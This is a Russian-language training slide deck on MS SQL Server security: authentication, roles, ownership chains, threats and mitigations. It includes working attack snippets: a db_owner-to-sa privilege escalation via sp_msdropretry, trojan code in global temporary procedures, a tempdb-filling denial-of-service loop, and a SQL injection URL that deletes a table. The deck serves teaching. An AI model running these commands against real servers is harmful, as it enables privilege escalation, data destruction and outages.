Безопасность СУБД

Содержание

Слайд 2

Безопасность СУБД Рассматриваемые темы: Модель безопасности СУБД MS SQL Server Анализ защищённости СУБД

Безопасность СУБД

Рассматриваемые темы:
Модель безопасности СУБД MS SQL Server
Анализ

защищённости СУБД
Слайд 3

Безопасность СУБД Пользовательские бюджеты Механизм аудита Механизм разграничения доступа Язык программирования Механизм управления паролями

Безопасность СУБД

Пользовательские бюджеты
Механизм аудита
Механизм разграничения доступа
Язык программирования
Механизм управления паролями

Слайд 4

Методы аутентификации Integrated Windows NTLM Kerberos Local SAM Active Directory pass

Методы аутентификации

Integrated Windows

NTLM

Kerberos

Local
SAM

Active Directory

pass XOR 0xA5

pwdencrypt(pass)

SQL Server Authentication

Слайд 5

Разграничение доступа Database master Database DB

Разграничение доступа

Database
master

Database
DB

Слайд 6

Стандартные учетные записи Server login SA Builtin/Administrators Standard Windows Group Database Users DBO Guest master tempdb

Стандартные учетные записи

Server login

SA

Builtin/Administrators

Standard

Windows Group

Database Users

DBO

Guest

master
tempdb

Слайд 7

Роли пользователей Читать данные Удалять таблицу Писать данные Роли уровня сервера Роли уровня БД public

Роли пользователей

Читать данные

Удалять таблицу

Писать данные

Роли уровня сервера

Роли уровня БД

public

Слайд 8

Роли пользователей Стандартные роли уровня сервера

Роли пользователей

Стандартные роли уровня сервера

Слайд 9

Роли пользователей Стандартные роли уровня базы данных

Роли пользователей

Стандартные роли уровня базы данных

Слайд 10

Управление сервером

Управление сервером

Слайд 11

Цепочка владения Ownership Chains Db.owner.sp_select DECLARE @usr char(30) SET @usr =

Цепочка владения

Ownership Chains

Db.owner.sp_select

DECLARE @usr char(30)
SET @usr = user
SELECT * from user_table

where user_name=@usr

user - execute

user - select

user

Слайд 12

Угрозы безопасности СУБД Компрометация ОС с помощью СУБД Использование системных хранимых

Угрозы безопасности СУБД

Компрометация ОС с помощью СУБД

Использование системных хранимых процедур

Обход защитных

механизмов при физическом доступе

Перехват данных при передаче по сети

Использование цепочки владения для повышения
полномочий

Получение паролей пользователей

Внедрение SQL кода (SQL Injection)

Слайд 13

Шифрование трафика (SSL/TLS) Перехват данных при передаче по сети 1. Получить

Шифрование трафика (SSL/TLS)

Перехват данных при передаче по сети

1. Получить Server Authentication

Certificate для использования с FQDN сервера

2. Установить сертификат в локальное хранилище компьютера

3. Включить шифрование Force Protocol Encryption

4. Проверить соединение (ODBC):
Driver=SQLServer;Server=ServerName;
Network=DBNETLIB.DLL;Encrypt=YES

Слайд 14

Учетные записи служб SQL Server Server Agent Microsoft Search DTS Компрометация ОС с помощью СУБД

Учетные записи служб

SQL Server

Server Agent

Microsoft Search

DTS

Компрометация ОС с помощью СУБД

Слайд 15

Шифрование баз данных Обход защитных механизмов при физическом доступе Выполнить рекомендации

Шифрование баз данных

Обход защитных механизмов при физическом доступе

Выполнить рекомендации по настройке

EFS
Настроить сервис сервера на запуск от имени доменной учетной записи
Остановить SQL сервер
Зайти в систему от имени доменной учетной записи
Использовать утилиту chipher с ключом /W для шифрования файлов базы данных (*.ldf, *.mdf)
Очистить кэш доменных учетных записей
Запретить вход на сервер группе builtin/administrators
Использовать SysKey
Слайд 16

Межбазовая цепочка владения Cross database ownership chain Database master Database test dbo

Межбазовая цепочка владения

Cross database ownership chain

Database
master

Database
test

dbo

Слайд 17

Межбазовая цепочка владения Получение пользователем db_owner привилегий sa Создаем вид для

Межбазовая цепочка владения

Получение пользователем db_owner привилегий sa

Создаем вид для модификации таблицы

sysxlogins
create view dbo.test2 as
select * from master.dbo.sysxlogins

Используем ошибку в sp_msdropretry для замены sid (0x01=sa)
exec sp_msdropretry
‘xx update sysusers set sid=0x01 where name= ‘’dbo’’’, ‘xx’

Set xstatus field to 18 (sysadmin)
exec sp_msdropretry
‘xx update dbo.test set xstatus=18 where name= SUSER_SNAME()’, ‘xx’

Слайд 18

Межбазовая цепочка владения Способ защиты Отключена по умолчанию в SQL Server

Межбазовая цепочка владения

Способ защиты

Отключена по умолчанию в SQL Server 2000 Service

Pack 3
Есть возможность включить в пределах сервера и отдельной базы данных
База данных master не поддерживает опцию db chaining

exec sp_configure
«Cross DB Ownership Chaining», «1»

exec sp_dboption
«databasename», «db chaining», «true»

Слайд 19

Временные хранимые процедуры: Троянский код в хранимых процедурах Могут быть созданы

Временные хранимые процедуры:

Троянский код в хранимых процедурах

Могут быть созданы любым пользователем
Могут

быть выполнены любым пользователем
Могут быть модифицированы любым пользователем

select name from
tempdb..sysobjects
where name like '##%'

1. Поиск процедуры:

2. Модификация:

alter proc ## as <исходный код>
<код трояна>

3. Ожидание выполнения привилегированным пользователем

Слайд 20

Троянский код в хранимых процедурах Microsoft не считает данное поведение уязвимостью

Троянский код в хранимых процедурах

Microsoft не считает данное поведение уязвимостью
Глобальные процедуры

работают в соответствии с документацией «by Design»
Вывод:
Не использовать глобальные хранимые процедуры
Слайд 21

Отказ в обслуживании Временные таблицы могут создаваться любым пользователем Пользователь guest

Отказ в обслуживании

Временные таблицы могут создаваться любым пользователем
Пользователь guest не может

быть удален из базы данных tempdb

create table #tmp
(x varchar(8000))
insert into #tmp select 'X'
while 1=1 insert into #tmp select * from #tmp

Слайд 22

Отказ в обслуживании Использование временных таблиц Database temp Database test user

Отказ в обслуживании

Использование временных таблиц

Database
temp

Database
test

user

Слайд 23

SQL Injection Метод обхода логики приложения и получения непосредственного доступа к

SQL Injection

Метод обхода логики приложения и получения непосредственного доступа к данным

путем внедрения во входную информацию, обрабатываемую приложением операторов языка SQL

SQL Injection могут быть подвержены:

- WEB приложения

- Двухзвенные приложения

- Хранимые процедуры

Слайд 24

SQL Injection WWW id = Request.querystring("id") SQL_query = "SELECT * FROM

SQL Injection

WWW

id = Request.querystring("id")
SQL_query = "SELECT * FROM test where id="+id
Set

RS = MyConn.Execute(SQL_query)

http://ws-gordeyechik/inject.asp?id=1

select * from test where id=1

Слайд 25

SQL Injection http://ws-gordeyechik/inject.asp?id=1;delete from test id = Request.querystring("id") SQL_query = "SELECT

SQL Injection

http://ws-gordeyechik/inject.asp?id=1;delete from test

id = Request.querystring("id")
SQL_query = "SELECT * FROM test

where id="+id
Set RS = MyConn.Execute(SQL_query)

WWW

select * from test where id=1;
delete from test

Слайд 26

SQL Injection Программа Data Thief

SQL Injection

Программа Data Thief

Слайд 27

Практическая работа 23 Исследование метода SQL Injection

Практическая работа 23

Исследование метода SQL Injection

Слайд 28

Анализ защищённости СУБД Database Scanner

Анализ защищённости СУБД

Database
Scanner

Слайд 29

Выполняемые проверки

Выполняемые проверки

Слайд 30

Практическая работа 24 Анализ защищённости СУБД MSSQL Server с помощью программы Database Scanner

Практическая работа 24

Анализ защищённости СУБД MSSQL Server с помощью
программы Database Scanner